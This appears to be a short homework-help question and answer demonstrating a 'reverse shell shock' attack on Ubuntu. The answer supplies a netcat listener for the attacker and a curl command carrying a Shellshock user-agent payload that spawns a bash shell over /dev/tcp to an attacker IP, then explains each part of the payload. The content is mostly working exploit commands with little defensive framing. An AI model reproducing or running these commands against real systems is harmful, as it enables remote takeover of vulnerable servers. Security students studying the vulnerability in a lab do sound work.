Question

Demonstrate how to launch a reverse shell shock in ubuntu please

Complete how ever you need to.

Answer 1

A reverse shell starts on a machine(let it be machine2 here) and it can be controlled from a remote machine(let it be machine1 here).

In Machine1(Attacker), netcat command is executed
nc -l 8000 -v, here port 8000 is used for TCP connection
After entering the command, Machine1 will be listening on port 8000

In Machine2(Victim), curl command to start bash shell is executed.
curl -A “() { :; }; /bin/bash -i > /dev/tcp/123.123.1.12/8000 0<&1 2>&1”
/dev/tcp/123.123.1.12/8000 - To redirect the shell's output device (stdout) to TCP connection 123.123.1.12 with port 8000
0<&1 - read the standard input
2>&1 - redirect error output to stdout
So, the curl command starts a bash shell on Machine2(Victim), taking input from the TCP connection, and sending output to the same TCP connection.

After performing these steps, we could see "connection received" message in Machine1(Attacker) and reverse shell shock is completed.
For testing, use ls command/any other to check where files in Machine2(Victim) is accessible inside Machine1(Attacker).